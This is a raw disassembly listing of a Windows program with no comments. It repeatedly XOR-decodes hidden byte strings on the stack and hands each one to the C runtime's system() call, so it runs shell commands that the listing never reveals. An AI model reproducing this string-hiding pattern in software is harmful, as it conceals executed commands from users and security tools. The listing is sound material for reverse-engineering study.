punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x7ff73824a3c0
cmp r8d, 0x5f
jge 0x7ff73824a500
movsxd rax, r8d
lea r9, [rbp + 0xcb0]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5f
jl 0x7ff73824a4d0
lea rcx, [rbp + 0xcb0]
call qword [sym.imp.ucrtbase.dll_system]
movups xmm0, xmmword [0x7ff7382d22a0]
movups xmmword [rbp + 0x22b], xmm0
mov eax, dword [0x7ff7382d22b0]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, word [0x7ff7382d22b4]
mov word [rbp + 0x23f], ax
cmp byte [0x7ff7382d22b5], 0
je 0x7ff73824a6d0
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824a693
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x22f]
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff73824a590
cmp r8d, 0x16
jge 0x7ff73824a6d0
movsxd rax, r8d
lea r9, [rbp + 0x22b]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x7ff73824a6a0
lea rcx, [rbp + 0x22b]
call qword [sym.imp.ucrtbase.dll_system]
movss xmm0, dword [0x7ff7382e30dc]
movss xmm6, dword [0x7ff7382d2bfc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xc8], xmm1
movss dword [rbp + 0xcc], xmm2
lea rcx, [rbp + 0xc8]
jmp 0x7ff73824a0ae
movups xmm0, xmmword [0x7ff7382d2930]
movups xmmword [rbp + 0x215], xmm0
mov eax, dword [0x7ff7382d2940]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, word [0x7ff7382d2944]
mov word [rbp + 0x229], ax
mov ebx, dword [0x7ff7382e30a0]
cmp byte [0x7ff7382d2945], 0
je 0x7ff73824a900
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824a8c3
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x219]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff73824a7c0
cmp r8d, 0x16
jge 0x7ff73824a900
movsxd rax, r8d
lea r9, [rbp + 0x215]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x7ff73824a8d0
lea rdx, [rbp + 0x215]
lea rcx, [rbp + 0xf80]
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
lea rcx, [rbp + 0x1040]
lea rax, [0x7ff738200000]
lea rax, [rax + 0xd29a0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movzx eax, word [rax + 0x60]
mov word [rcx + 0x60], ax
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824ab19
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x1044]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xe0
jl 0x7ff73824aa10
cmp r8d, 0xe2
jge 0x7ff73824ab63
movsxd rax, r8d
lea r9, [rbp + 0x1040]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe2
jl 0x7ff73824ab30
lea rcx, [rbp + 0x1040]
call qword [sym.imp.ucrtbase.dll_system]
movups xmm0, xmmword [0x7ff7382d28f0]
movups xmmword [rbp + 0x3d0], xmm0
movsd xmm0, qword [0x7ff7382d2900]
movsd qword [rbp + 0x3e0], xmm0
cmp byte [0x7ff7382d2907], 0
je 0x7ff73824ad40
cmp ebx, 2
jl 0x7ff73824acfd
movdqa xmm5, xmmword [0x7ff7382d2ca0]
mov edx, r14d
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3d4]
mov r8d, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x7ff73824abf0
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.ucrtbase.dll_system]
jmp 0x7ff73824ca1e
lea r9, [rbp + 0x3d0]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x7ff73824ad10
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.ucrtbase.dll_system]
jmp 0x7ff73824ca1e
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d1930]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movups xmm0, xmmword [0x7ff7382d2338]
movups xmmword [rbp + 0x200], xmm0
mov eax, dword [0x7ff7382d2348]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, byte [0x7ff7382d234c]
mov byte [rbp + 0x214], al
mov r8d, r14d
mov ebx, dword [0x7ff7382e30a0]
cmp ebx, 2
jl 0x7ff73824aef3
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x204]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff73824adf0
cmp r8d, 0x15
jge 0x7ff73824af30
movsxd rax, r8d
lea r9, [rbp + 0x200]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x7ff73824af00
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xfa0]
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
lea rdx, [rbp + 0x1204]
lea rax, [0x7ff738200000]
lea rcx, [rax + 0xd2800]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
mov rax, qword [rcx + 0x60]
mov qword [rdx + 0x60], rax
movzx eax, word [rcx + 0x68]
mov word [rdx + 0x68], ax
movzx eax, byte [rcx + 0x6a]
mov byte [rdx + 0x6a], al
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824b159
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x1208]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xe8
jl 0x7ff73824b050
cmp r8d, 0xeb
jge 0x7ff73824b1a3
movsxd rax, r8d
lea r9, [rbp + 0x1204]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xeb
jl 0x7ff73824b170
lea rcx, [rbp + 0x1204]
call qword [sym.imp.ucrtbase.dll_system]
movups xmm0, xmmword [0x7ff7382d2468]
movups xmmword [rbp + 0x500], xmm0
movups xmm1, xmmword [0x7ff7382d2478]
movups xmmword [rbp + 0x510], xmm1
movzx eax, byte [0x7ff7382d2488]
mov byte [rbp + 0x520], al
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824b333
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x504]
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x7ff73824b230
cmp r8d, 0x21
jge 0x7ff73824b370
movsxd rax, r8d
lea r9, [rbp + 0x500]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x7ff73824b340
lea rcx, [rbp + 0x500]
call qword [sym.imp.ucrtbase.dll_system]
movss xmm0, dword [0x7ff7382e30dc]
movss xmm6, dword [0x7ff7382d2bfc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xd0], xmm1
movss dword [rbp + 0xd4], xmm2
lea rcx, [rbp + 0xd0]
jmp 0x7ff73824a0ae
movups xmm0, xmmword [0x7ff7382d2958]
movups xmmword [rbp + 0x160], xmm0
mov eax, dword [0x7ff7382d2968]
mov dword [rbp + reloc.ucrtbase.dll_free], eax
movzx eax, word [0x7ff7382d296c]
mov word [rbp + 0x174], ax
movzx eax, byte [0x7ff7382d296e]
mov byte [rbp + 0x176], al
mov r8d, r14d
mov ebx, dword [0x7ff7382e30a0]
cmp ebx, 2
jl 0x7ff73824b563
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff73824b460
cmp r8d, 0x17
jge 0x7ff73824b5a0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
mov eax, 0x51eb851f
imul r8d
